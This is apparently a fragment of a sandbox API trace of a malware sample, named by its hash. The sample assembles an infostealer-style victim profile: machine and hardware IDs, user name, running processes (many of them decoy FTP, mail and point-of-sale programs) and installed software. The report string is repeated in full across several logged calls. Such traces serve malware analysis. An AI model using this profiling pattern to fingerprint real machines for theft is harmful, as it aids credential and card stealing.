10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016"
[0054.975] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="16.0.4266.1001", lpcbData=0x1816c0*=0xf) returned 0x0
[0054.975] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing 